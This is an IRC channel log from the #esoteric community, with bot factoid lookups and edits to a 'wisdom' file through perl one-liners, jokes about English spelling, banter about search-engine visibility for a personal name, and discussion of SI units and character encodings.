14:25:22 -!- MoALTz has quit (Ping timeout: 260 seconds). 14:25:47 hkgit03: yes, it's long. if you want shorter, you can go up to http://www.muppetlabs.com/~breadbox/ which has some other writeups 14:28:00 I don' 14:28:07 t want it shorter 14:28:14 I want to have more time... generally 14:28:43 hkgit03: ok 14:37:13 ? ¯\(o_°​)/¯ 14:37:15 ​¯\(o_°​)/¯? ¯\(°​_o)/¯ 14:37:38 hi_jonas 14:38:05 higit03, HackElo, hiname, HireFly 14:43:18 -!- MoALTz has joined. 15:00:22 ? issue 15:00:23 You do not have the clearance necessary to view this entry. 15:00:28 lol 15:00:32 ? problem 15:00:33 problem? ¯\(°​_o)/¯ 15:00:49 ? melon 15:00:50 melon? ¯\(°​_o)/¯ 15:01:17 le//rn melon//A melon is a lemon whose spelling is bad. 15:01:19 Learned 'melon': A melon is a lemon whose spelling is bad. 15:01:33 ? lemon 15:01:34 lemon? ¯\(°​_o)/¯ 15:01:41 le//rn lemon//A lemon is a melon whose spelling is bad. 15:01:43 Learned 'lemon': A lemon is a melon whose spelling is bad. 15:01:44 ? circle 15:01:45 circle? ¯\(°​_o)/¯ 15:01:48 ? circular 15:01:49 circular? ¯\(°​_o)/¯ 15:10:21 ? recursion 15:10:22 You might expect a reference to recursion here, but to make it interesting you'll actuallSTACK OVERFLOW 15:40:38 -!- FreeFull has quit. 15:47:46 -!- FreeFull has joined. 15:49:54 -!- DHeadshot has joined. 15:56:18 ? iteration 15:56:19 iteration? ¯\(°​_o)/¯ 15:56:23 ? reference 15:56:24 reference is dangling, sorry. 15:56:30 ? pointer 15:56:31 A pointer is a dog bred to follow instructions. 15:56:39 ? pointee 15:56:40 pointee? ¯\(°​_o)/¯ 15:56:46 Ooh, I just had an idea for an esolang. 15:58:16 -!- hkgit03 has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 16:22:09 -!- bender has joined. 16:23:22 -!- bender has quit (Changing host). 16:23:22 -!- bender has joined. 16:29:17 -!- hppavilion[1] has joined. 16:41:44 -!- Phantom_Hoover has joined. 16:43:42 Is there any way that the phrase "just a theory" can make sense? 16:43:53 Like, what's /above/ a theory? 16:44:00 Law? Math? 16:44:16 [I think natural selection is whatever the probabilistic equivalent of a theorem is] 16:44:45 [In stato-probability, I think theorems should have fuzziness to their truth] 16:49:50 Antihypothesis 16:51:37 -!- DHeadshot has quit (Ping timeout: 240 seconds). 16:52:46 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 16:54:25 -!- LKoen has joined. 17:02:01 -!- AnotherTest has joined. 17:02:58 -!- hppavilion[1] has joined. 17:03:00 -!- DHeadshot has joined. 17:20:12 -!- hppavilion[1] has quit (Ping timeout: 258 seconds). 17:25:41 -!- DHeadshot has quit (Ping timeout: 255 seconds). 17:29:40 I wonder what the largest HDD/SSD currently in existence is (in GB/TB size (1024 type not 1000)) 17:33:44 -!- LKoen has quit (Remote host closed the connection). 17:41:47 -!- augur has joined. 17:45:02 -!- xkapastel has joined. 17:48:56 [wiki] [[K]] https://esolangs.org/w/index.php?diff=51810&oldid=51808 * Rdococ * (+1) Fixed formatting. 17:50:18 [wiki] [[Talk:K]] https://esolangs.org/w/index.php?diff=51811&oldid=51802 * Rdococ * (+234) 17:50:28 -!- sleffy has joined. 17:53:06 -!- DHeadshot has joined. 17:55:27 [wiki] [[K]] https://esolangs.org/w/index.php?diff=51812&oldid=51810 * Rdococ * (+439) /* The K construct */ Added some more information on applying algebra to generalized continued fractions. 17:59:51 -!- hppavilion[1] has joined. 18:00:24 hppavilion[1]! 18:00:26 hppavilion[1], hppavilion[1] ! 18:00:33 are you the first or second element of an array? 18:00:55 maybe you can just stop 18:01:12 rdococ: I've already answered. Also, I'm at a science day today. 18:01:29 rdococ: So I'll be indisposed most of the day 18:01:49 hold on a second, all I did was greet someone. sure, I said their name three times, but because they weren't too far apart they don't count as separate pings. 18:02:31 sure, I can be a bit over-the-top sometimes, and I admit that, but then? 18:10:26 . o O (x + (x £ y) = x * y) 18:11:46 -!- g0d355__ has quit (Max SendQ exceeded). 18:14:18 -!- LKoen has joined. 18:14:59 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 18:21:30 <\oren\> shachaf: heywhat'sup 18:21:39 ? 18:24:00 <\oren\> how do I make a website show up better on gogle 18:25:32 why are you asking me 18:25:59 <\oren\> didn't you wrk for google 18:26:41 <\oren\> how do I make my page show up better when someone searches for "Oren Watson" 18:26:58 Not on search, and if I had any nonpublic information about that I certainly couldn't say it. 18:26:59 make interesting content that people will share 18:27:20 I think that's the official line, yes. 18:28:03 <\oren\> ARGH, how can I beat a character from a tv show? ARGH 18:28:36 ask a pornstar to tattoo your url on her butt 18:28:50 <\oren\> hmmm that's not a bad idea 18:29:41 Oh, there's a character on a television show? 18:29:51 Better to just change your name. Hope that helps. 18:30:17 become a pornstar and tattoo your url on your own butt 18:30:48 srsly that's gonna be a revolutionary medium 18:32:09 get your name changed 18:32:17 ... 18:32:21 becoming a pornstar also might increase your popularity without the tattoo 18:32:36 . o O ( /nick shachaf2 ) 18:32:52 <\oren\> myname: lol as if anyone bothers remembering the names of male pornstars 18:34:01 \oren\: get a female pornstar become famous under the name Oren Watson and tattoo the url to her butt? 18:34:38 . o O ( google: Oren Watson -TV ... --> http://www.legacy.com/obituaries/name/oren-watson-obituary?pid=1000000166005650 ) 18:35:04 <\oren\> Oren "Bubby" Watson, age 66, of Piave 18:35:07 <\oren\> ARGH 18:35:19 <\oren\> I am not BUBBY 18:35:24 \oren\: but yes, getting your name changed to something searchable is usually easier 18:35:58 \oren\: I have a very unusual surname, one that I share with only about a dozen people, all of whom I'm distantly related to, so that happens to be quite searchable 18:36:13 \oren\: I gathered that you're not dead either. In any case, I think I find a few hits for you on the first two pages with that query. Fonts. Soundhound. 18:36:18 the internet is still small enoguh that you can come up with not too long words that are mostly unique to you 18:36:45 Like "raleighgator" 18:39:14 <\oren\> oren watson programmer gets to me 18:39:50 \oren\: note that what google finds depends a LOT on the interface language ("hl" query parameter) and lots of other not very obvious variables 18:40:10 many of which are harder to control than the interface language 18:40:27 what does oren watson sex god lead to? 18:41:18 <\oren\> google oren watson sex god 18:41:21 Failed to connect to socket 2. \ \ Looking up 127.0.0.1:3128 \ Making HTTP connection to 127.0.0.1:3128 \ Sending HTTP request. \ HTTP request sent; waiting for response. \ Alert!: Unexpected network read error; connection aborted. \ Can't Access http://google.com/search?q=%6f%72%65%6e%20%77%61%74%73%6f%6e%20%73%65%78%20%67%6f%64' \ Alert!: Unabl 18:41:35 <\oren\> apparenlty nothing 18:41:51 <\oren\> @google oren watson sex god 18:41:54 http://bakerstreet.wikia.com/wiki/Oren_Watson 18:41:54 Title: Oren Watson | Baker Street Wiki | Fandom powered by Wikia 18:42:02 you must rectify that 18:42:30 well, that was a better result than I feared. 18:42:31 \oren\, I have a similar problem, "Oren Watson" gives no hits for me whatsoever 18:42:49 -!- Zarutian has joined. 18:42:57 <\oren\> lolwut 18:43:08 This may be because I have a completely different name 18:44:09 one weird triq 18:45:09 @google triq 18:45:10 https://en.wiktionary.org/wiki/triq 18:45:32 ? triq 18:45:34 triq? ¯\(°​_o)/¯ 18:45:38 :/ 18:45:57 <\oren\> ? trick 18:45:58 A trick learnt is a trick half forgotten. 18:46:07 <\oren\> widsom 18:46:08 prcorastination//The Prcorastination is detsined to ruel the wolrd... rihgt afetr wacthing thsi lats funny cat clpi on yotuube. 18:46:21 <\oren\> widsom 18:46:22 gotsak//The gotsak ditsims the dohses. 18:47:12 <\oren\> ? gostak 18:47:13 The gostak distims the doshes. 18:47:42 ? procrastination 18:47:43 The Procrastination is destined to rule the world... right after watching this last funny cat clip on youtube. 18:49:29 grwp procreation 18:49:39 No output. 18:50:11  echo wisdom/[pP][rR][oO]* 18:50:12 wisdom/procrasti wisdom/procrastination wisdom/program wisdom/programmer's googol wisdom/programmers knowing what they're doing wisdom/prography wisdom/progres wisdom/progress bar wisdom/promise problem wisdom/pronounceable c wisdom/prooftechnique wisdom/protocol 18:50:25 ? procrasti 18:50:26 The Procrasti were an ancient people whose nation would have been a great empire if they'd ever got around to it. 18:50:31 ? programmer's googol 18:50:32 A programmer's googol is equal to 10^100, or 110 18:50:49  cat wisdom/pro*knowing 18:50:51 cat: wisdom/pro*knowing: No such file or directory 18:50:52  cat wisdom/pro*knowing* 18:50:53 Programmers knowing what they're doing is a hypothetical alien race invoked to justify keeping horrendous traps in programming languages. 18:50:54 -!- bender has quit (Remote host closed the connection). 18:50:56 10^100 = 110 ? 18:51:09 ? progres 18:51:10 Progress has been made today. It was invented by Taneb. 18:51:21 in binary, 10^100 = 10000 18:51:34 LKoen: binary and the hat means xor 18:51:37 not a good joke 18:51:38 ohhhh 18:51:47 okay 18:51:50 ? progress bar 18:51:51 ​ ▏ ▎ ▍ ▌ ▋ ▊ ▉ █ hth 18:51:56 ? promise problem 18:51:57 A promise problem is one that happens because you promise too much. Their reduction to NP is p. difficult. 18:52:25 I live in France and our politicians never seem to have a problem about promising too much 18:52:39 ? protocol 18:52:40 protocol is not to be confused with protocoal 18:55:25 quote later 18:55:26 162) So it's not exactly trivial. [Later about same thing] It's a trivial C program :P \ 177) Maybe they should just get rid of Minecraft. If more people want it someone can make using GNU GPL v3 or later version, with different people, might improve slightly. \ 409) rest in peace lambdabot???? monqy: i 18:55:38 <\oren\> protocoal is another word for a tropical forest 18:56:08 <\oren\> quote 18:56:09 790) this sounds sort of like @ kmc well @ is the least upper bound of all ideas in computer science 18:56:18 <\oren\> quote 18:56:19 865) fungot: Are you the previous version of zzo38? fizzie: i run some interactive tex programs 18:56:34 <\oren\> quote 18:56:35 613) but yeah the caliphates expanded their empire by conquering people and then forcing them to either convert to Islam or die. [...] i thought it was sort of, convert to islam or pay extra taxes, but i guess it varied a lot. 18:56:49 <\oren\> quote 18:56:50 346) I'm not even going to try and understand what you're proposing. i understand it perfectly. it's completely nuts. 18:56:57 <\oren\> quote 18:56:58 514) When the moon hits your eye like a big pizza pie, that's a monad. 18:57:11 quote 1238 18:57:12 1238) Could we achieve SETI with only naive set theory? 18:57:21 I had a point with that one, can anyone remember what it was 18:59:02 <\oren\> quote Taneb 18:59:02 384) Turned out he got recursion, he just didn't get the return statement \ 390) Cut to February War were declared A galaxy in turmoil Anyway, Febuary '10 \ 391) I can't afford one of those! A grandchild, not a laser printer \ 397) There's that saying that the definition of insani 18:59:49 <\oren\> quote hpp 18:59:50 1242) hppavilion1: there's not much point in addquoting an addquote unless the person who added it was somehow significant, or there's interesting context because you can tell it was added from the fact that it's there \ 1253) What is an esolang? shachaf: It's an archaic term for an Esolang \ 1254) BOILY!!!!!!!!!!! 19:00:54 <\oren\> https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf is a dead link 19:01:31 <\oren\> @tell boily https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf is a dead link 19:01:31 Consider it noted. 19:04:46 <\oren\> https://www.youtube.com/watch?v=sCxv3-3344o 19:07:12 slashlearn ance//Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clea 19:07:14 Learned 'ance': Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, 19:07:20 ? ance 19:07:21 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol 19:07:52 viol 19:07:57 why is that a thing? 19:08:08 Because people keep forgetting how to spell viol 19:08:21 perl -e openI,"<","wisdom/ance";/=();print substr<I>,0,300; 19:08:21 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, prefere 19:08:42 i find them pretty easy, but that may be because i'm german 19:08:42 myname: in these words, the last syllable is a schwa, and it's completely random how it's spelled 19:09:02 in german, you actually hear the difference 19:09:08 I find some of them easy, but some hard. I often misspell existence, appearance, maintenance 19:09:27 huh 19:09:37 perl -e openI,"<","wisdom/ance";/=();print substr<I>,0,400; 19:09:38 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol 19:09:45 perl -e openI,"<","wisdom/ance";/=();print substr<I>,400; 19:09:46 ssurance, attendance, circumstance, clea 19:09:49 perl -e openI,"<","wisdom/ance";/=();print substr<I>,300; 19:09:50 nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clea 19:10:15 i never got how people have a hard time with such things 19:10:18  >wisdom/ance echo 'rance, confidence, consequence, entrance, excellence, existence, fragrance.' 19:10:20 No output. 19:10:25 ? ance 19:10:26 rance, confidence, consequence, entrance, excellence, existence, fragrance. 19:10:29 argh 19:10:32 revert 19:10:33 Done. 19:10:35  >>wisdom/ance echo 'rance, confidence, consequence, entrance, excellence, existence, fragrance.' 19:10:37 No output. 19:10:39 ? ance 19:10:40 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol 19:10:49 perl -e openI,"<","wisdom/ance";/=();print substr<I>,300; 19:10:50 nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clea \ rance, confidence, consequence, entrance, excellence, existence, fragrance. 19:10:54 damn 19:12:00 perl -e openI,"<","wisdom/ance";/=();_=<I>=~s/\n//;openO,">","wisdom/ance";printO_; 19:12:01 Scalar found where operator expected at -e line 1, near "O_" \ (Missing operator before _?) \ Can't modify in substitution (s///) at -e line 1, near "s/\n//;" \ Execution of -e aborted due to compilation errors. 19:12:06 perl -e openI,"<","wisdom/ance";/=();_=<I>=~s/\n//;openO,">","wisdom/ance";printO _; 19:12:06 Can't modify in substitution (s///) at -e line 1, near "s/\n//;" \ Execution of -e aborted due to compilation errors. 19:12:17 ? ance 19:12:18 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol 19:12:29 perl -e openI,"<","wisdom/ance";/=();_=<I>=~s/\n//r;openO,">","wisdom/ance";printO _; 19:12:31 No output. 19:12:34 ? ance 19:12:35 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol 19:12:45 perl -e openI,"<","wisdom/ance";/=();print substr<I>,300; 19:12:45 i hate english 19:12:45 nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance. 19:12:51 such an ugly language 19:13:06 most of those words are easy, but I can't tell in advance which ones are hard for people 19:14:01 <\oren\> ought tough through 19:14:19 though 19:15:44 bough 19:15:50 ? but 19:15:51 But is an hth derivative. 19:16:02 I... I've lived in English speaking languages all my life and I have no idea how "bough" is pronounced 19:16:07 Rhymes with "ow"?? 19:16:22 Ah, yes 19:16:22 you have lived in English speaking languages??? 19:16:27 I didn't even know languages could speak 19:16:30 perl -e {openI,"<","wisdom/ance";/=();_=<I>=~s/( fragrance)/1, governance, guidance, independence, offence, refinance, residence, resistance, romance./r;openO,">","wisdom/ance";printO _;} 19:16:32 No output. 19:16:33 lol 19:16:33 LKoen, yes, it's quite odd 19:16:35 though I did suspect you were a concept rather than a person 19:16:37 perl -e openI,"<","wisdom/ance";/=();print substr<I>,300; 19:16:38 nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance.. 19:16:43 though “ough” is thoroughly tough, most other fragments throughout english ought to be more regular 19:16:54 ? ough 19:16:55 ough? ¯\(°​_o)/¯ 19:16:56 Jafet, it is a slight hiccough in the language 19:16:58 perl -e {openI,"<","wisdom/ance";/=();_=<I>=~s/( romance).*/1./r;openO,">","wisdom/ance";printO _;} 19:17:00 No output. 19:17:02 perl -e openI,"<","wisdom/ance";/=();print substr<I>,300; 19:17:03 nce, presence, sentence, sequence, substance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance. 19:17:22 le//rn ough//Ough is equivalent to any and every possible VC syllable. 19:17:23 rdococ: I have a mostly complete list of those too, at https://en.wiktionary.org/wiki/User:B_jonas 19:17:25 Learned 'ough': Ough is equivalent to any and every possible VC syllable. 19:17:30 Jafet: should we laugh at that? 19:18:00 ? ance 19:18:01 Spelling of -ance/-ence words: advance, science, conference, experience, finance, insurance, licence, performance, reference, assistance, balance, defence, difference, distance, evidence, acceptance, appliance, audience, compliance, importance, influence, instance, intelligence, maintenance, preference, presence, sentence, sequence, substance, viol 19:18:23 2 \? ance 19:18:24 2/2:ubstance, violence, absence, accordance, alliance, appearance, assurance, attendance, circumstance, clearance, confidence, consequence, entrance, excellence, existence, fragrance, governance, guidance, independence, offence, refinance, residence, resistance, romance. 19:18:51 * rdococ personally hates autum 19:18:52 dance 19:19:02 pence 19:19:11 * rdococ doesn't mind dans 19:19:28 but I personally don't dans well myself 19:19:34 rdococ: I hate "autumn". the word, because I can't spell it. it's on my list at https://en.wiktionary.org/wiki/User:B_jonas#Some_words_of_which_I_need_to_learn_the_spelling 19:19:35 why do you do this 19:19:59 b_jonas, from now on I will name it autumm, like dilemma 19:20:30 LKoen: what? sounds smoulderingly haughty 19:20:35 or just name it fall 19:20:49 shachaf: yes, I specifically removed ones like "dance, glance, fence, trance" that aren't pronounced with a schwa. those have the stress on the ance or ence syllable, so it's easy to guess the spelling from the pronunciation 19:21:10 obviously this isn't a complete list, but I don't want to make the wisdom entry too long 19:21:26 many of the hard to spell ones would come later in the list 19:21:27 But it's already too long. 19:21:36 exactly 19:22:09 correspondence is another tricky one 19:22:38 the best kind of dance 19:22:52 learn german 19:22:56 (next ones would be: allowance, commence, competence, convenience, correspondence, essence, freelance, incidence, occurrence, ordinance, providence, relevance, renaissance, significance, silence, surveillance, tolerance, variance, 19:23:29 abundance, ambulance, conscience, consistence, convergence, dependence, dependance, disturbance, elegance, emergence, evanescence, grievance, ignorance, inference, inheritance, interference, issuance, negligence, patience, prevalence, reliance, resonance, stance, 19:23:34 ...) 19:23:43 what's the difference between dependence and dependance? 19:23:52 allowence, commance, competance, conveniance, correspondance, essance, freelence, incidance, occurrance, ordinence, procidance, relevence, renaissence, significence, silance, surveillence, tolerence, varience 19:24:04 commance? 19:24:08 what's that 19:24:55 apparently dependance is the same as dependence, and dependence is the more frequent spelling 19:24:55 * shachaf looks askance at b_jonas 19:26:25 "autumn" is one of those rare words where the French spelling looks way better as an English spelling than the actual English spelling 19:28:30 <\oren\> commence 19:28:56 <\oren\> b_jonas: in my country we jsut call it fall 19:29:08 <\oren\> spring summer fall winter 19:29:19 They're called leaves because they leave the trees in the fall. Which is why it's called fall. 19:32:00 -!- sleffy has quit (Ping timeout: 240 seconds). 19:38:50 She eats shoots and leaves 19:39:18 you didn't explain why they were called trees 19:39:40 I didn't read the book that quote is from. 19:39:43 Maybe it explains. 19:45:42 but why is the previous season called summer? it doesn't add up 19:47:47 hehe. it's funny when an old text mentions something really old and well-known and calls it "new" because it was new back then 19:50:51 Jafet: isn't that because it was discovered by the sumers, who lived in a warm place where it was always summer? 19:51:21 or maybe because that's when you see adders the most often, and the sum of many adders is a summer. 19:57:47 -!- sparr has quit (Changing host). 19:57:47 -!- sparr has joined. 20:05:01 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 20:21:03 -!- zzo38 has joined. 20:31:55 -!- sleffy has joined. 20:44:47 <\oren\> Ok, I've seen people called hitler, but I've never seen someone call someone else "Marshal Phibun" befroe 20:44:53 <\oren\> http://www.unicode.org/mail-arch/unicode-ml/y2017-m04/0074.html 21:00:38 -!- hppavilion[1] has joined. 21:10:27 -!- LKoen has joined. 21:16:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:21:38 -!- sleffy has quit (Ping timeout: 240 seconds). 21:22:03 -!- sleffy has joined. 21:31:48 -!- hppavilion[1] has joined. 22:00:47 -!- sleffy has quit (Ping timeout: 252 seconds). 22:12:30 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:17:51 -!- hppavilion[1] has joined. 22:18:59 -!- Cale has quit (Remote host closed the connection). 22:22:08 -!- Cale has joined. 22:27:31 Hm, do SI units have preferred pronunciations? 22:28:51 Is KiBkHz a good unit? 22:29:15 thousand kibibytes per second 22:29:26 shachaf: That's... 1024000 bytes per secon- whoo! I was right! 22:30:06 (I will accept the binary prefixes iff I can apply them to things other than data) 22:30:34 ("How far away is that vaguely phallic obelisk?" "4 Kim") 22:30:36 Acceleration from the earth's gravity is about 9.8 m HzHz 22:30:47 shachaf: AT SEA LEVEL 22:30:52 >:| 22:31:09 It's probably about that even somewhat far from sea level. 22:31:42 * hppavilion[1] . o O ( Isn't charge a better base dimension than current? ) 22:31:48 shachaf: Well, true 22:32:20 hppavilion[1]: i agree. i've thought the same many times. i figure someday the SI people will switch from A to C as the base unit 22:32:28 shachaf: The acceleration from earth's gravity is 0 m HzHz at the center of the earth 22:32:50 I just like HzHz 22:32:57 quintopia: Or we'll have a French Revolution-style uprising and replace SI 22:33:01 mHzHz is unfortunately ambiguous. 22:33:10 Is it milliherzhertz or metrehertzhertz? 22:33:24 the former 22:33:31 you need a center dot to make the latter 22:34:27 shachaf: I've noticed that 'm' is a rather overloaded symbol 22:34:34 mm 22:34:48 but i think m/s² is clearer for common usage than m-dot-Hz-dot-Hz 22:35:01 I try to avoid using it to mean 'mass' because it's already pretty ambiguous 22:36:07 Center dots don't exist. 22:36:19 There is no encoding but ASCII. 22:36:27 The only way you can really distinguish between "milliwhatevres" and "metres-by-whatevres" is dimensions; if you're told the force is "3 mN", you know it isn't a Newton-metre because it's force and not energy 22:36:52 shachaf: Do you count the ghost block though? 22:36:55 ITYM UTF-8 22:37:09 Are the codepoints 0x80..0xFF defined? 22:37:50 U+0084 COMBINING GHOST INSIDE SOUL is the character for possessions 22:38:03 s/INSIDE SOUL/WITHIN/ 22:38:28 pikhq: I half-agree with UTF-8. 22:38:31 pikhq: ITYM whatever my superior-to-encoding is called whenever I get around to cooking that up. 22:38:34 The first 128 bytes are good. 22:38:52 shachaf: But what is your opinion on the range 0x80..0xFF? 22:39:03 scow 22:39:08 quote prose 22:39:09 1134) A Swede who was in #esoteric / Thought his rhymes were a little generic. / "I might use, in my prose, / ꙮs, / But my poetry's alphanumeric." 22:39:12 TIL French is scow. 22:39:20 correct 22:39:37 ISO-8859-1 is OK, I guess. 22:39:40 And ISO-8859-8 22:39:52 Wait, no, ISO-8859-1 has center dot, doesn't it. 22:41:55 [Sidenote: whenever I make a lexer and parser, I define the sub-regex of INT for matching hex as /0x([0-9a-f]+|[0-9A-F]+)/ since using mixed case in your hex literals is an abomination] 22:42:36 One of the things I've done with my keyboard is implement this absurd sort of keyboard-swap mechanism 22:43:17 ctrl+left and ctrl+right cycle through keyboards; kb = 0 means no changes, kb = 1 is my default keyboard which is activated on launch, kb = 2 is greek 22:46:46 (Planned keyboards: 3:math, 4:Symbol, 5:Arrows, 6:box drawing, 7:Hebrew, 8:Cyrillic, 9:arabic, 10:math 2, 11: math 3, 12: symbol 2, 13: symbol 3) 22:47:05 I'm sure that was going somewhere, but I've forgot where that is. 22:47:20 <\oren\> I think the base units should be changed so that the speed of light is exactly 300 Mm/s 22:47:27 \oren\: Agreed 22:48:15 \oren\: Or, well, SI should create alternative sets of units that get grouped together (you choose one set and only use the equivalent units for that one) 22:49:03 <\oren\> and so that the kg is such that Newton's constant is exactly 2/3 * 10 ^ -11 22:49:57 goodbye for a few minutes or more. don't do anything interesting while i'm away. 22:50:26 -!- quintopia has quit (Remote host closed the connection). 22:51:13 \oren\: Met[er]{2}s wouldn't change so that long ass-distances wouldn't need their signs remarked, but the alternative set would include nice sciencey units 22:51:24 -!- quintopia has joined. 22:52:24 (If we just changed meters, a km would become an astounding 3‱ shorter! 22:52:27 Imagine the chaos! 22:52:40 (I'm assuming that we are NOT fucking changing seconds because we worked hard on those dammit) 22:53:02 \oren\: I'd also like kg to be the base scale for mass, having no prefix 22:53:10 we worked hard on km too 22:53:47 quintopia: Yeah, but our computers can keep track of individual microseconds from the couch. 22:53:49 So. 22:53:57 (I mean, kinda?) 22:54:42 \oren\: Because as it is, everything is defined in terms of kilograms (exempli gratia 1 N = 1 kg*m/s^2), but it's presented as if it's 1000× the base for mass 22:56:00 <\oren\> well before they had the cgs system where instead they had centimetres 22:56:05 <\oren\> grams and seconds 22:56:19 It should just have an atomic name. If it was "lard" (l) (yes, like fat), then a normal gram would be "ml", a milligram would be μl, a metric ton would be kl, etc. 22:57:06 \oren\: Yeah, I've heard of that. 22:57:11 <\oren\> well why not use metres, tons, seconds 22:57:30 \oren\: ...tons like tons or tons like tonnes? 22:57:41 Like, metric tonnes? 1 Mg? 22:58:00 I don't like "tonnes" and "metric tons"; "megagram" is a better name for that unit. 22:58:10 Use "tons" to refer to the non-metric unit 22:59:02 <\oren\> a car weighs 1 ton and travels at 30 metres per second 23:00:14 <\oren\> it contains therefore, 600 ton metre squared per second per second of energy 23:00:49 <\oren\> or 600 sthene metres 23:01:19 <\oren\> er wait no 23:01:25 -!- boily has joined. 23:01:26 <\oren\> 900 sthene metres 23:01:40 <\oren\> serves me right for trying to head-math 23:03:39 <\oren\> alternately, a car weighs 1 Mg and travels at 100 km/h 23:04:00 -!- MoALTz has quit (Quit: Leaving). 23:04:16 he\\oren\. feeling unital? 23:04:22 @massages-loud 23:04:22 \oren\ said 4h 2m 50s ago: https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf is a dead link 23:04:31 yeah, I know... 23:05:05 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 23:05:21 -!- boily has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah. 23:05:38 <\oren\> one could also use such abberant units as the ton-force 23:06:00 should be working now! 23:06:08 fungoton. 23:06:08 boily: " or do i have to wash dishes. if you can 23:06:19 fungot: yes, I can, and I have to. I hate washing dishes. 23:06:19 boily: he hacks lisp 23:06:29 fungot: yup. never quite got to learn it. 23:06:29 boily: good enough? that uses vectors, and those all provide quite nasty constraints for the other language modes.... befunge you could do 23:09:33 -!- boily has set topic: Home of your favourite brainfuck derivative! | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah. 23:10:25 boily: did you see https://www.youtube.com/watch?v=uNjxe8ShM-8 ... that's where the motivation came from 23:10:49 int-ello. let's watch that... 23:13:07 -!- boily has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah. 23:16:21 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:18:38 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 23:22:44 -!- DHeadshot has quit (Quit: Tis but a scratch). 23:31:22 -!- Phantom_Hoover has joined. 23:31:22 -!- Phantom_Hoover has quit (Changing host). 23:31:22 -!- Phantom_Hoover has joined. 23:32:00 -!- Phantom_Hoover has quit (Remote host closed the connection). 23:34:30 -!- Phantom_Hoover has joined. 23:42:55 -!- moony has quit (Remote host closed the connection). 23:47:49 -!- hppavilion[1] has joined. 23:48:38 \oren\: At one point, I defined the customary unit of force (treating pounds as the unit of mass) as 1 pound-yard per second squared, or the Kenobi. 23:49:23 I later decided Kenobi was N/s, since it measures change (NRBFTJWSII-AKA disturbance) in force. 23:50:24 Tarkins (Gr) measure Ob/s- how much disturbance is in the force 23:51:31 hppavellon[1]. is it measuring flux? 23:51:43 fungot: what the fungot is a NRBFTJWSII? 23:52:36 boily: MAYBE, CHICKEN 23:52:45 fungot: Are you OK? 23:52:45 hppavilion[1]: so the implementation can do. if i 23:53:04 did you just call me a CHICKEN? 23:54:02 -!- xkapastel has quit (Quit: Connection closed for inactivity). 23:54:08 boily: fungot is angry at you. What did you do to upset fnem? 23:54:08 hppavilion[1]: but what's really strange is happening with sinatra 23:55:08 fungot is only thinking. 23:55:08 boily: the problem with sunscreen being greasy, then? i don't folow what you're trying to remove nested combinations by adding this to your teacher: the internet is 23:55:47 fungot has a twisted mind 23:55:47 int-e: now it's there. just start up external darcs processes!" 23:59:12 -!- hppavilion[0] has joined. 